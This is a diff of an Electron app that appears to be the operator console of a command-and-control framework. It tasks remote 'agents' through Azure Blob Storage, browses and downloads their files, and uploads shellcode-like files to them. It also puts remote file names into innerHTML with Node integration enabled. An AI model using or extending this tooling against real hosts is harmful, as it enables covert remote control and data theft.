log(`[EXPLORER][SENDCMD] task : ${JSON.stringify(global.agent.tasks[global.agent.tasks.length - 1])}`);
|
||||
|
||||
log(`argv[0] : ${argv[0]}`);
|
||||
if (argv[0] == "download")
|
||||
{
|
||||
log(`hit download`);
|
||||
let currentPath = document.getElementById("dirPath").value.trim();
|
||||
const concatenated = argv.slice(1).join(" ");
|
||||
argv[1] = currentPath.endsWith("/") ? currentPath + concatenated : currentPath + "/" + concatenated;
|
||||
log(`argv : ${argv}`);
|
||||
download = doDownloadFile(argv);
|
||||
log(`[+] SendCommand.explorer.js : JSON.stringify(download) \r\n: ${JSON.stringify(download)}`);
|
||||
download_command = `download ${download['file']} ${download['blob']}`;
|
||||
log(`[+] SendCommand.explorer.js : command : ${download_command}`);
|
||||
containerCmd.cmd = download_command;
|
||||
log("pulling download file");
|
||||
log(`download['file'] : ${download['file']}`);
|
||||
log(`download['blob'] : ${download['blob']}`);
|
||||
log(`containerCmd : \r\n${JSON.stringify(containerCmd)}`);
|
||||
ipcRenderer.send('pull-download-file', JSON.stringify(containerCmd),download['file'],download['blob']); // Send command and container name
|
||||
log(`[+] SendCommand.explorer.js : JSON.stringify(containerCmd) \r\n: ${JSON.stringify(containerCmd)}`);
|
||||
ipcRenderer.send('upload-client-command-to-input-channel', JSON.stringify(containerCmd)); // Send command and container name
|
||||
global.agent.tasks[global.agent.tasks.length - 1].command = `download ${download['file']} ${download['blob']}`;
|
||||
ipcRenderer.send('pull-download-file', global.agent,download['file'],download['blob']); // Send command and container name
|
||||
ipcRenderer.send('upload-client-command-to-input-channel', global.agent); // Send command and container name
|
||||
//
|
||||
}
|
||||
else{
|
||||
log(`hit all else handler`);
|
||||
ipcRenderer.send('upload-client-command-to-input-channel', JSON.stringify(containerCmd)); // Send command and container name
|
||||
log(`[EXPLORER][SENDCMD] hit all else handler`);
|
||||
ipcRenderer.send('upload-client-command-to-input-channel', global.agent); // Send command and container name
|
||||
}
|
||||
}
|
||||
|
||||
async function initialize() {
|
||||
log(`Initialize explorer.js`);
|
||||
|
||||
log(`explorer.js : initialize `);
|
||||
mode = "pwd";
|
||||
sendCommand("pwd");
|
||||
// listFiles();
|
||||
await sendCommand("pwd");
|
||||
}
|
||||
|
||||
async function listFiles() {
|
||||
@@ -139,42 +131,78 @@ async function listFiles() {
|
||||
sendCommand(`ls ${"'"+document.getElementById("dirPath").value.trim()+"'"}`);
|
||||
}
|
||||
|
||||
async function format_ls_output(filesAndFolders) {
|
||||
let resultBuffer = '';
|
||||
resultBuffer += `Name`.padEnd(60) + `Type`.padEnd(16) + `Size (bytes)`.padEnd(15) + `Created`.padEnd(24) + `Modified`.padEnd(24) + '\n';
|
||||
resultBuffer += '-'.repeat(30) + '-'.repeat(10) + '-'.repeat(15) + '-'.repeat(30) + '-'.repeat(30) + '\n';
|
||||
log(`[AGENT][IPC] format_ls_output : ${filesAndFolders}`);
|
||||
let entries = JSON.parse(filesAndFolders)
|
||||
|
||||
for (const entry of entries) {
|
||||
try {
|
||||
log(`[AGENT][IPC] entry : ${entry}`);
|
||||
const options = {
|
||||
month: '2-digit',
|
||||
day: '2-digit',
|
||||
year: '2-digit',
|
||||
hour: '2-digit',
|
||||
minute: '2-digit',
|
||||
second: '2-digit',
|
||||
hour12: false
|
||||
};
|
||||
resultBuffer += (entry.name || '').padEnd(60);
|
||||
resultBuffer += (entry.type || '').padEnd(16);
|
||||
resultBuffer += (entry.stats.size ? String(entry.stats.size) : '').padEnd(15);
|
||||
resultBuffer += (entry.stats.ctimeMs ? new Date(entry.stats.ctimeMs).toLocaleString('en-US', options).replace(',', '') : '').padEnd(24);
|
||||
resultBuffer += (entry.stats.mtimeMs ? new Date(entry.stats.mtimeMs).toLocaleString('en-US', options).replace(',', '') : '').padEnd(24);
|
||||
resultBuffer += '\n';
|
||||
} catch (err) {
|
||||
log(`Error: ${err.message}`);
|
||||
}
|
||||
}
|
||||
return resultBuffer;
|
||||
}
|
||||
|
||||
async function listFiles_display(lsCommandOutput)
|
||||
{
|
||||
// Split output into lines and remove headers
|
||||
let lines = lsCommandOutput.split("\n").slice(2); // Skip headers and separator line
|
||||
try {
|
||||
// Parse the JSON string into an array of file entries
|
||||
let files = JSON.parse(lsCommandOutput);
|
||||
|
||||
let files = lines.map(line => {
|
||||
let parts = line.match(/(.{1,60})\s+(File|Directory)\s+(\d+|-)\s+(\d{2}\/\d{2}\/\d{2} \d{2}:\d{2}:\d{2})\s+(\d{2}\/\d{2}\/\d{2} \d{2}:\d{2}:\d{2})/);
|
||||
// Insert into table
|
||||
const fileList = document.getElementById("fileList");
|
||||
fileList.innerHTML = "";
|
||||
|
||||
if (!parts) return null; // Skip invalid lines
|
||||
files.forEach(file => {
|
||||
const row = document.createElement("tr");
|
||||
const type = file.type === "Directory" ? "Folder" : "File";
|
||||
const size = file.stats.size || '-';
|
||||
|
||||
return {
|
||||
name: parts[1].trim(),
|
||||
type: parts[2] === "Directory" ? "Folder" : "File", // Convert "Directory" to "Folder"
|
||||
size: parts[3] === '-' ? '-' : parseInt(parts[3]),
|
||||
created: parts[4],
|
||||
modified: parts[5]
|
||||
};
|
||||
}).filter(item => item !== null); // Remove null entries
|
||||
const options = {
|
||||
month: '2-digit',
|
||||
day: '2-digit',
|
||||
year: '2-digit',
|
||||
hour: '2-digit',
|
||||
minute: '2-digit',
|
||||
second: '2-digit',
|
||||
hour12: false
|
||||
};
|
||||
const modified = file.stats.mtimeMs ? new Date(file.stats.mtimeMs).toLocaleString('en-US', options).replace(',', '') : '';
|
||||
|
||||
// Insert into table
|
||||
const fileList = document.getElementById("fileList");
|
||||
fileList.innerHTML = "";
|
||||
|
||||
files.forEach(file => {
|
||||
const row = document.createElement("tr");
|
||||
row.innerHTML = `
|
||||
<td class="${file.type === 'Folder' ? 'folder' : 'file'}"
|
||||
onclick="${file.type === 'Folder' ? `navigateTo('${file.name}')` : `openFile('${file.name}')`}">
|
||||
${file.name}
|
||||
</td>
|
||||
<td>${file.size}</td>
|
||||
<td>${file.type}</td>
|
||||
<td>${file.modified}</td>
|
||||
`;
|
||||
fileList.appendChild(row);
|
||||
});
|
||||
row.innerHTML = `
|
||||
<td class="${type.toLowerCase()}"
|
||||
onclick="${type === 'Folder' ? `navigateTo('${file.name}')` : `openFile('${file.name}')`}">
|
||||
${file.name}
|
||||
</td>
|
||||
<td>${size}</td>
|
||||
<td>${type}</td>
|
||||
<td>${modified}</td>
|
||||
`;
|
||||
fileList.appendChild(row);
|
||||
});
|
||||
} catch (err) {
|
||||
log(`Error in listFiles_display: ${err.message}`);
|
||||
}
|
||||
}
|
||||
|
||||
async function navigateTo(folderName) {
|
||||
@@ -269,38 +297,42 @@ document.getElementById("dirPath").addEventListener("keypress", function(event)
|
||||
ipcRenderer.on('command-output', (event, output) => {
|
||||
try {
|
||||
if (output) {
|
||||
if(output === "pushedfile" || !output.substring(0, 3).includes('/')){
|
||||
const dirPath = document.getElementById('dirPath');
|
||||
if (!dirPath.value)
|
||||
{
|
||||
initialize();
|
||||
return;
|
||||
}else{
|
||||
// listFiles();
|
||||
}
|
||||
// Convert output to string if it's an object
|
||||
log(`[EXPLORER][IPC][COMMANDOUT]: output : ${JSON.stringify(output)}`);
|
||||
|
||||
}
|
||||
if (mode === "pwd") {
|
||||
// if(output.output === "pushedfile" || !output.output.substring(0, 3).includes('/')){
|
||||
// const dirPath = document.getElementById('dirPath');
|
||||
// if (!dirPath.value)
|
||||
// {
|
||||
// initialize();
|
||||
// return;
|
||||
// }else{
|
||||
// // listFiles();
|
||||
// }
|
||||
// }
|
||||
if (output.command === "pwd") {
|
||||
mode = "";
|
||||
if (!output.endsWith("/")) {
|
||||
output += "/";
|
||||
output.output = output.output.trim();
|
||||
output.output = output.output.replace(/\\/g, '/');
|
||||
if (!output.output.endsWith("/")) {
|
||||
output.output += "/";
|
||||
}
|
||||
document.getElementById("dirPath").value = output;
|
||||
//document.getElementById("dirPath").value = "C:/";
|
||||
pwd = output;
|
||||
document.getElementById("dirPath").value = output.output;
|
||||
log(`[EXPLORER][IPC][CMDOUT] output.output : ${output.output}`);
|
||||
pwd = output.output;
|
||||
listFiles();
|
||||
}
|
||||
else if (mode === "list") {
|
||||
mode = "";
|
||||
listFiles_display(output);
|
||||
listFiles_display(output.output);
|
||||
}
|
||||
else if (mode === "cat") {
|
||||
mode = "";
|
||||
openTextFileInNewWindow(output);
|
||||
openTextFileInNewWindow(output.output);
|
||||
}
|
||||
}
|
||||
} catch (error) {
|
||||
log(`Error in explorer.js:command-output: ${error.message}\r\n${error.stack}`);
|
||||
log(`[EXPLORER][IPC][CMDOUT] error : ${error.message}\r\n${error.stack}`);
|
||||
}
|
||||
});
|
||||
|
||||
@@ -376,17 +408,12 @@ function openTextFileInNewWindow(content) {
|
||||
|
||||
window.addEventListener('DOMContentLoaded', async () =>
|
||||
{
|
||||
ipcRenderer.on('container-data', (event, name, aes, blobs, agentJson) =>
|
||||
ipcRenderer.on('container-data', (event, agent_object) =>
|
||||
{
|
||||
log(`explorer.js : container-data : ${name}`);
|
||||
log(`explorer.js : container-data : ${agent_object.agentid}`);
|
||||
try{
|
||||
containerName = name;
|
||||
containerKey = JSON.stringify(aes);
|
||||
containerBlob = JSON.stringify(blobs);
|
||||
agent = JSON.parse(agentJson);
|
||||
agentObj = agent;
|
||||
|
||||
document.title = `${agent.agentid.toUpperCase()} | ${agent.hostname.toUpperCase()} | ${agent.username.toUpperCase()} | ${agent.IP}`;
|
||||
global.agent = agent_object;
|
||||
document.title = `${agent_object.agentid.toUpperCase()} | ${agent_object.hostname.toUpperCase()} | ${agent_object.username.toUpperCase()} | ${agent_object.IP}`;
|
||||
|
||||
const dirPath = document.getElementById('dirPath');
|
||||
dirPath.focus();
|
||||
@@ -397,9 +424,9 @@ window.addEventListener('DOMContentLoaded', async () =>
|
||||
}
|
||||
});
|
||||
const checkVariables = setInterval(() => {
|
||||
if (containerName && containerKey && containerBlob && agentObj && agent) {
|
||||
if (global.agent) {
|
||||
log(`explorer.js : container-data : ${global.agent}`);
|
||||
clearInterval(checkVariables); // Stop the loop when all variables have values
|
||||
log("All variables have been assigned!");
|
||||
initialize();
|
||||
}
|
||||
}, 100); // Check every 100ms
|
||||
|
||||
+171
-193
@@ -1,18 +1,17 @@
|
||||
const { app, BrowserWindow, ipcMain, Menu, clipboard, shell, dialog } = require('electron');
|
||||
const { app, BrowserWindow, ipcMain, Menu, clipboard, shell, screen, dialog, MenuItem } = require('electron');
|
||||
const fs = require('fs');
|
||||
const path = require('path');
|
||||
const az = require('./azure');
|
||||
const { getAppDataDir } = require('./common');
|
||||
const directories = getAppDataDir();
|
||||
global.config = require(directories.configFilePath);
|
||||
const agents = [];
|
||||
let metaContainer = config.metaContainer;
|
||||
let win;
|
||||
global.agentids = [];
|
||||
global.agentwindows = 0;
|
||||
global.agentWindowHandles = {}; // Store windows by agentID
|
||||
global.dashboardWindow = null;
|
||||
global.agents = [];
|
||||
global.haltUpdate = false;
|
||||
|
||||
class Container
|
||||
{
|
||||
@@ -22,7 +21,6 @@ class Container
|
||||
this.key = {} || key;
|
||||
this.blobs = {} || blobs;
|
||||
}
|
||||
|
||||
setName(name) {
|
||||
this.name = name;
|
||||
}
|
||||
@@ -42,19 +40,31 @@ class Agent
|
||||
this.container = null || containerObject;
|
||||
this.BrowserWindow = null;
|
||||
}
|
||||
}
|
||||
|
||||
class Task {
|
||||
constructor(command) {
|
||||
this.outputChannel = 'o-' + Math.random().toString(36).substring(2, 14);
|
||||
this.command = command;
|
||||
this.taskid = Math.random().toString(36).substring(2, 14);
|
||||
}
|
||||
}
|
||||
|
||||
function createDashboardWindow() {
|
||||
const primaryDisplay = screen.getPrimaryDisplay();
|
||||
const { width, height } = primaryDisplay.workAreaSize;
|
||||
|
||||
global.dashboardWindow = new BrowserWindow({
|
||||
width: 1792,
|
||||
height: 1037,
|
||||
width: Math.floor(width * 0.76),
|
||||
height: Math.floor(height * 0.8),
|
||||
center: true,
|
||||
webPreferences: {
|
||||
contextIsolation: false,
|
||||
enableRemoteModule: true,
|
||||
nodeIntegration: true, // Enable Node.js integration in the renderer process
|
||||
nodeIntegration: true
|
||||
},
|
||||
});
|
||||
global.dashboardWindow.focus();
|
||||
global.dashboardWindow.loadFile('dashboard.html');
|
||||
console.log('Main window created');
|
||||
}
|
||||
@@ -70,56 +80,37 @@ async function createContainerWindow(thisagentid) {
|
||||
}
|
||||
if (!exists)
|
||||
{
|
||||
const primaryDisplay = screen.getPrimaryDisplay();
|
||||
const { width, height } = primaryDisplay.workAreaSize;
|
||||
const containerWin = new BrowserWindow({
|
||||
width: 1592,
|
||||
height: 1037,
|
||||
width: Math.floor(width * 0.6),
|
||||
height: Math.floor(height * 0.7),
|
||||
center: true,
|
||||
webPreferences: {
|
||||
contextIsolation: false,
|
||||
enableRemoteModule: true,
|
||||
nodeIntegration: true, // Enable Node.js integration in the renderer process
|
||||
nodeIntegration: true
|
||||
},
|
||||
});
|
||||
let thisAgent = global.agents.find(agent => agent.agentid === thisagentid);
|
||||
|
||||
let containerObject = new Container(thisAgent.container,thisAgent.aes,thisAgent.blobs);
|
||||
let agent = new Agent(thisAgent.agentid,containerObject);
|
||||
agent.BrowserWindow = containerWin;
|
||||
agents.push(agent);
|
||||
global.agentWindowHandles[thisAgent.agentid] = containerWin;
|
||||
|
||||
agent.container.blobs['key'] = thisAgent.blobs['key'];
|
||||
agent.container.blobs['checkin'] = thisAgent.blobs['checkin'];
|
||||
agent.container.blobs['in'] = thisAgent.blobs['in'];
|
||||
agent.container.blobs['out'] = thisAgent.blobs['out'];
|
||||
for (const key in agent.container.blobs) {
|
||||
if (agent.container.blobs.hasOwnProperty(key)) {
|
||||
console.log(`${key}: ${agent.container.blobs[key]}`);
|
||||
}
|
||||
}
|
||||
agent.container.key['key'] = thisAgent.aes['key'];
|
||||
agent.container.key['iv'] = thisAgent.aes['iv'];
|
||||
|
||||
let startupdata = JSON.stringify(thisAgent);
|
||||
|
||||
let agent_object = global.agents.find(agent => agent.agentid === thisagentid);
|
||||
global.agentWindowHandles[agent_object.agentid] = containerWin;
|
||||
global.agentwindows++;
|
||||
containerWin.loadFile('agent-window.html').then(() => {
|
||||
containerWin.webContents.send('container-data', agent.container.name, agent.container.key, agent.container.blobs,startupdata);
|
||||
containerWin.loadFile('agent.html').then(() => {
|
||||
containerWin.webContents.send('container-data', agent_object);
|
||||
});
|
||||
console.log(`Container window created for container: ${thisAgent.container}`);
|
||||
console.log(`Container window created for container: ${agent_object.container}`);
|
||||
console.log(`Number of agent windows : ${global.agentwindows}`);
|
||||
|
||||
containerWin.on('close', async (event) => {
|
||||
event.preventDefault(); // Prevents default close
|
||||
await containerWin.webContents.send('window-closing'); // Notify renderer
|
||||
event.preventDefault();
|
||||
await containerWin.webContents.send('window-closing');
|
||||
});
|
||||
|
||||
ipcMain.on('force-close', async (event,agentid) => {
|
||||
// ipcMain.on('force-close', (event) => {
|
||||
console.log(`kernel.js : IPC force-close`);
|
||||
console.log(`agentid : ${agentid}`);
|
||||
if(agents.length > 0){
|
||||
for (let i = 0; i < agents.length; i++) {
|
||||
//console.log(`agents[${i}] : ${JSON.stringify(agents[i])}`);
|
||||
if (agents[i].agentid === agentid)
|
||||
{
|
||||
agents.pop(agents[i]);
|
||||
@@ -133,8 +124,8 @@ async function createContainerWindow(thisagentid) {
|
||||
}
|
||||
const agentWindow = global.agentWindowHandles[agentid];
|
||||
if (agentWindow) {
|
||||
agentWindow.destroy(); // Force close after confirmation
|
||||
delete global.agentWindowHandles[agentid]; // Remove from tracking
|
||||
agentWindow.destroy();
|
||||
delete global.agentWindowHandles[agentid];
|
||||
global.agentwindows--;
|
||||
}
|
||||
console.log(`agentids : ${global.agentids}`);
|
||||
@@ -146,61 +137,35 @@ async function createContainerWindow(thisagentid) {
|
||||
}
|
||||
|
||||
async function createExplorerWindow(thisagent) {
|
||||
let this_agent = JSON.parse(thisagent);
|
||||
const primaryDisplay = screen.getPrimaryDisplay();
|
||||
const { width, height } = primaryDisplay.workAreaSize;
|
||||
const ExplorerWin = new BrowserWindow({
|
||||
width: 1592,
|
||||
height: 1037,
|
||||
width: Math.floor(width * 0.6),
|
||||
height: Math.floor(height * 0.7),
|
||||
center: true,
|
||||
webPreferences: {
|
||||
contextIsolation: false,
|
||||
enableRemoteModule: true,
|
||||
nodeIntegration: true,
|
||||
},
|
||||
});
|
||||
console.log(`Agent Data : ${JSON.stringify(this_agent)}`);
|
||||
const container_blobs = await az.getContainerBlobs(this_agent.containerid,config);
|
||||
console.log(`${this_agent.containerid} container key blob : ${container_blobs['key']}`);
|
||||
const container_key = await az.getContainerAesKeys(this_agent.containerid,container_blobs['key'],config);
|
||||
let containerObject = new Container(this_agent.containerid,container_key,container_blobs);
|
||||
let agent = new Agent(this_agent.agentid,containerObject);
|
||||
|
||||
agent.container.blobs['key'] = container_blobs['key'];
|
||||
agent.container.blobs['checkin'] = container_blobs['checkin'];
|
||||
agent.container.blobs['in'] = container_blobs['in'];
|
||||
agent.container.blobs['out'] = container_blobs['out'];
|
||||
for (const key in agent.container.blobs) {
|
||||
if (agent.container.blobs.hasOwnProperty(key)) {
|
||||
console.log(`${key}: ${agent.container.blobs[key]}`);
|
||||
}
|
||||
}
|
||||
agent.container.key['key'] = container_key['key'];
|
||||
agent.container.key['iv'] = container_key['iv'];
|
||||
|
||||
let checkinData = await az.checkinContainer(agent.container.name, agent.container.key, agent.container.blobs,config);
|
||||
let agentObj = JSON.parse(checkinData);
|
||||
agentObj.agentid = agent.agentid;
|
||||
agentObj.containerid = agent.container.name;
|
||||
agentObj.key = agent.container.key['key'];
|
||||
agentObj.iv = agent.container.key['iv'];
|
||||
let startupdata = JSON.stringify(agentObj);
|
||||
|
||||
let this_agent = JSON.parse(thisagent);
|
||||
let agent_object = global.agents.find(agent => agent.agentid === this_agent.agentid);
|
||||
ExplorerWin.loadFile('explorer.html').then(() => {
|
||||
ExplorerWin.webContents.send('container-data', agent.container.name, agent.container.key, agent.container.blobs,startupdata);
|
||||
ExplorerWin.webContents.send('container-data', agent_object);
|
||||
});
|
||||
ExplorerWin.on('close', async (event) => {
|
||||
});
|
||||
}
|
||||
|
||||
// Open File Explorer at the Downloads Directory
|
||||
function openDownloadsExplorer() {
|
||||
shell.openPath(directories.downloadsDir);
|
||||
}
|
||||
|
||||
// Open File Explorer at the Downloads Directory
|
||||
function openAgentLogsExplorer() {
|
||||
shell.openPath(directories.logDir);
|
||||
}
|
||||
|
||||
// Function to Open Configuration Window
|
||||
function openConfigWindow() {
|
||||
const configWindow = new BrowserWindow({
|
||||
width: 500,
|
||||
@@ -211,7 +176,7 @@ function openConfigWindow() {
|
||||
webPreferences: {
|
||||
contextIsolation: false,
|
||||
enableRemoteModule: true,
|
||||
nodeIntegration: true, // Allow Node.js access in the settings window
|
||||
nodeIntegration: true
|
||||
},
|
||||
});
|
||||
configWindow.loadFile('settings.html');
|
||||
@@ -220,22 +185,20 @@ function openConfigWindow() {
|
||||
ipcMain.handle('updateagent', async (event, agentid,newcontainerid) => {
|
||||
try
|
||||
{
|
||||
const newcontainer_blobs = await az.getContainerBlobs(newcontainerid,config);
|
||||
const newcontainer_blobs = await az.getContainerBlobs(newcontainerid);
|
||||
console.log(`${newcontainerid} container key blob : ${newcontainer_blobs['key']}`);
|
||||
const container_key = await az.getContainerAesKeys(newcontainerid,newcontainer_blobs['key'],config);
|
||||
let checkinData = await az.checkinContainer(newcontainerid, container_key,newcontainer_blobs,config);
|
||||
const container_key = await az.getContainerAesKeys(agentid);
|
||||
let checkinData = await az.checkinContainer(newcontainerid, container_key,newcontainer_blobs);
|
||||
let agentObj = JSON.parse(checkinData);
|
||||
agentObj.agentid = agentid;
|
||||
agentObj.containerid = newcontainerid;
|
||||
agentObj.key = container_key['key'];
|
||||
agentObj.iv = container_key['iv'];
|
||||
let startupdata = JSON.stringify(agentObj);
|
||||
|
||||
for (let i = 0; i < agents.length; i++) {
|
||||
if (agents[i].agentid === agentid)
|
||||
{
|
||||
JSON.stringify(agents[i]);
|
||||
// agents[i].window.setCheckin(agent.window.checkin);
|
||||
agents[i].container.name = newcontainerid;
|
||||
agents[i].BrowserWindow.webContents.send('container-data', newcontainerid, container_key, newcontainer_blobs,startupdata);
|
||||
break;
|
||||
@@ -247,99 +210,98 @@ ipcMain.handle('updateagent', async (event, agentid,newcontainerid) => {
|
||||
}
|
||||
});
|
||||
|
||||
ipcMain.on('upload-client-command-to-input-channel', async (event, containerCmd) => {
|
||||
ipcMain.on('upload-client-command-to-input-channel', async (event, agent_object) => {
|
||||
try {
|
||||
console.log(`Received IPC "upload-client-command-to-input-channel" with args: ${containerCmd}`);
|
||||
console.log(`kernel.js : IPC "upload-client-command-to-input-channel`);
|
||||
let global_agent_object = global.agents.find(agent => agent.agentid === agent_object.agentid);
|
||||
let agent_task = agent_object.tasks[agent_object.tasks.length - 1];
|
||||
global_agent_object.tasks.push(agent_task);
|
||||
|
||||
let commandOutput = await az.uploadCommand(containerCmd, config);
|
||||
console.log(`Command output: ${commandOutput}`);
|
||||
|
||||
// Send the result back to the **calling renderer process** directly
|
||||
event.reply('command-output', commandOutput);
|
||||
let commandOutput = false;
|
||||
while (commandOutput === false) {
|
||||
commandOutput = await az.uploadCommand(agent_object);
|
||||
if (commandOutput === false) {
|
||||
await new Promise(resolve => setTimeout(resolve, 3000));
|
||||
}
|
||||
}
|
||||
console.log(`[KERNEL][IPC] command-output : ${commandOutput}`);
|
||||
let command_response = {
|
||||
'command' : agent_task.command,
|
||||
'taskid' : agent_task.taskid,
|
||||
'output' : commandOutput
|
||||
}
|
||||
event.reply('command-output', command_response);
|
||||
} catch (error) {
|
||||
console.error('Error uploading command to Azure Blob Storage:', error);
|
||||
event.reply('command-output', `Error: ${error.message}`); // Send error response
|
||||
}
|
||||
});
|
||||
|
||||
ipcMain.on('pull-download-file', async (event, containerCmd, filename, blob) => {
|
||||
ipcMain.on('pull-download-file', async (event, agent_object, filename, blob) => {
|
||||
try {
|
||||
console.log(`[+] IpcMain pull-download-file`);
|
||||
console.log(`[+] config ${JSON.stringify(config)}`);
|
||||
if (filename.startsWith("'") && filename.endsWith("'")) {
|
||||
filename = filename.slice(1, -1);
|
||||
}
|
||||
if (filename.startsWith('"') && filename.endsWith('"')) {
|
||||
filename = filename.slice(1, -1);
|
||||
}
|
||||
let containerCommand = JSON.parse(containerCmd);
|
||||
let commandOutput = await az.pullDownloadFile(containerCmd,filename,blob,config);
|
||||
console.log(`kernel.js | after az.pullDownloadFile`);
|
||||
await az.pullDownloadFile(agent_object,filename,blob);
|
||||
} catch (error) {
|
||||
console.error('Error uploading command to Azure Blob Storage:', error);
|
||||
}
|
||||
});
|
||||
|
||||
ipcMain.on('upload-file-to-blob', async (event, containerCmd, uploadfile, uploadblob) => {
|
||||
ipcMain.on('upload-file-to-blob', async (event, agent_object, uploadfile, uploadblob) => {
|
||||
try {
|
||||
let containerCommand = JSON.parse(containerCmd);
|
||||
let commandOutput = await az.uploadFileToAzure(containerCmd, uploadblob, uploadfile,config);
|
||||
for (let i = 0; i < agents.length; i++) {
|
||||
if (agents[i].container.blobs['in'] === containerCommand.blobs['in'])
|
||||
{
|
||||
await agents[i].BrowserWindow.webContents.send('send-upload-command', containerCmd);
|
||||
}
|
||||
}
|
||||
await az.uploadFileToAzure(agent_object, uploadblob, uploadfile);
|
||||
await global.agentWindowHandles[agent_object.agentid].webContents.send('send-upload-command', agent_object);
|
||||
} catch (error) {
|
||||
console.error('Error uploading command to Azure Blob Storage:', error);
|
||||
}
|
||||
});
|
||||
|
||||
ipcMain.on('upload-sc-to-blob', async (event, containerCmd, scfile, scblob) => {
|
||||
ipcMain.on('upload-sc-to-blob', async (event, agent_object, scfile, scblob) => {
|
||||
try {
|
||||
let containerCommand = JSON.parse(containerCmd);
|
||||
await az.uploadSCToAzure(containerCmd, scblob, scfile,config);
|
||||
for (let i = 0; i < agents.length; i++) {
|
||||
if (agents[i].container.blobs['in'] === containerCommand.blobs['in'])
|
||||
{
|
||||
await agents[i].BrowserWindow.webContents.send('send-upload-command', containerCmd);
|
||||
}
|
||||
}
|
||||
console.log(`[KERNEL][IPC] upload-sc-to-blob : ${scfile} ${scblob}`);
|
||||
await az.uploadSCToAzure(agent_object, scblob, scfile);
|
||||
await global.agentWindowHandles[agent_object.agentid].webContents.send('send-upload-command', agent_object);
|
||||
} catch (error) {
|
||||
console.error('Error uploading command to Azure Blob Storage:', error);
|
||||
}
|
||||
});
|
||||
|
||||
// Fetch container data and send it to the renderer process
|
||||
ipcMain.handle('preload-agents', async () => {
|
||||
let blobs = await az.preloadContainers(metaContainer,config);
|
||||
let blobs = await az.preloadContainers();
|
||||
return blobs;
|
||||
});
|
||||
|
||||
// Fetch container data and send it to the renderer process
|
||||
ipcMain.handle('get-containers', async () => {
|
||||
let blobs = await az.updateDashboardTable(metaContainer,config);
|
||||
//console.log(`IPC get-containers : agent checkin blobs : ${blobs}`);
|
||||
return blobs;
|
||||
if (global.haltUpdate == false)
|
||||
{
|
||||
let blobs = await az.updateDashboardTable();
|
||||
return blobs;
|
||||
}
|
||||
else
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
});
|
||||
|
||||
ipcMain.handle('get-agent-checkin', async (event, agentid) => {
|
||||
let thisAgent = global.agents.find(agent => agent.agentid === agentid);
|
||||
let agentCheckin = await az.returnAgentCheckinInfo(thisAgent.container,thisAgent.blobs['in']);
|
||||
thisAgent.checkin = agentCheckin;
|
||||
return JSON.stringify(thisAgent);
|
||||
if (global.haltUpdate == false)
|
||||
{
|
||||
let thisAgent = global.agents.find(agent => agent.agentid === agentid);
|
||||
let agentCheckin = await az.returnAgentCheckinInfo(thisAgent.agentid);
|
||||
thisAgent.checkin = agentCheckin;
|
||||
return JSON.stringify(thisAgent);
|
||||
}
|
||||
else { return 0; }
|
||||
});
|
||||
|
||||
ipcMain.on('open-container-window', async (event, thisagentid) => {
|
||||
console.log(`IPC Open Container Window : ${thisagentid}`);
|
||||
|
||||
// let this_agent = JSON.parse(thisagent);
|
||||
let window_exists = false;
|
||||
if (global.agentwindows === 0)
|
||||
{
|
||||
global.agentids.length = 0;
|
||||
}
|
||||
|
||||
if (global.agentwindows === 0) { global.agentids.length = 0; }
|
||||
console.log(`agentids[] : ${thisagentid}`);
|
||||
if (!global.agentids.includes(thisagentid)) {
|
||||
global.agentids.push(thisagentid);
|
||||
@@ -353,22 +315,19 @@ ipcMain.on('open-container-window', async (event, thisagentid) => {
|
||||
{
|
||||
window_exists = true;
|
||||
console.log(`window exists`);
|
||||
// Check if window for this agent already exists
|
||||
if (agentWindow && !agentWindow.isDestroyed()) {
|
||||
agentWindow.focus(); // Bring existing window to front
|
||||
agentWindow.focus();
|
||||
return;
|
||||
}
|
||||
}
|
||||
// }
|
||||
if (window_exists == false)
|
||||
{
|
||||
setTimeout(() => { createContainerWindow(thisagentid) }, 1000); // Simulate some delay before closing
|
||||
setTimeout(() => { createContainerWindow(thisagentid) }, 1000);
|
||||
}
|
||||
});
|
||||
|
||||
ipcMain.on('execute-command', (event, command) => {
|
||||
console.log(`Executing command: ${command}`);
|
||||
// Execute the command here and send the result back to the console window
|
||||
const result = `Executed command: ${command}`;
|
||||
event.sender.send('command-result', result);
|
||||
});
|
||||
@@ -376,7 +335,6 @@ ipcMain.on('execute-command', (event, command) => {
|
||||
app.whenReady().then(() => {
|
||||
console.log('App is ready');
|
||||
createDashboardWindow();
|
||||
// Create Application Menu
|
||||
const menu = Menu.buildFromTemplate([
|
||||
{
|
||||
label: 'View',
|
||||
@@ -414,6 +372,15 @@ app.whenReady().then(() => {
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
label: 'Perform Command Test',
|
||||
click: () => {
|
||||
const focusedWindow = BrowserWindow.getFocusedWindow();
|
||||
if (focusedWindow) {
|
||||
focusedWindow.webContents.send('execute-test-command');
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
role: 'reload'
|
||||
}
|
||||
@@ -426,65 +393,77 @@ ipcMain.on('show-row-context-menu', (event, agentDataJSON) => {
|
||||
let agentData = JSON.parse(agentDataJSON);
|
||||
const agentid = agentData.agentid;
|
||||
const contextMenu = Menu.buildFromTemplate([
|
||||
{
|
||||
label: 'Remove',
|
||||
click: async () => {
|
||||
console.log(`IPC show-row-context-menu : AgentData : ${agentDataJSON}`);
|
||||
//console.log(`config : ${JSON.stringify(config)}`);
|
||||
//console.log(`agents.length = ${agents.length}`);
|
||||
// Send event to dashboard window to remove the table row
|
||||
const dashboardWindow = win;
|
||||
if (global.agentWindowHandles[agentid]) {
|
||||
console.log(`Closing window for agent ID: ${agentid}`);
|
||||
global.agentWindowHandles[agentid].destroy();
|
||||
delete global.agentWindowHandles[agentid]; // Remove reference to the closed window
|
||||
for (let i = 0; i < agents.length; i++) {
|
||||
if (agents[i].agentid === agentid)
|
||||
{
|
||||
console.log(`Before pop : global.agentids[] : ${global.agentids}`);
|
||||
agents.pop(agents[i]);
|
||||
global.agentids.pop(agentid);
|
||||
console.log(`After pop : global.agentids[] : ${global.agentids}`);
|
||||
}
|
||||
}
|
||||
global.agentwindows--;
|
||||
}
|
||||
if (dashboardWindow) {
|
||||
console.log(`dashboardWindow exists`);
|
||||
console.log(`calling IPC remove-table row for ${agentid} agent`);
|
||||
dashboardWindow.webContents.send('remove-table-row', agentid);
|
||||
}
|
||||
let container_blobs = await az.getContainerBlobs(agentData.containerid,config);
|
||||
//console.log(`container_blobs : ${JSON.stringify(container_blobs)}`);
|
||||
let container_key = await az.getContainerAesKeys(agentData.containerid,container_blobs['key'],config);
|
||||
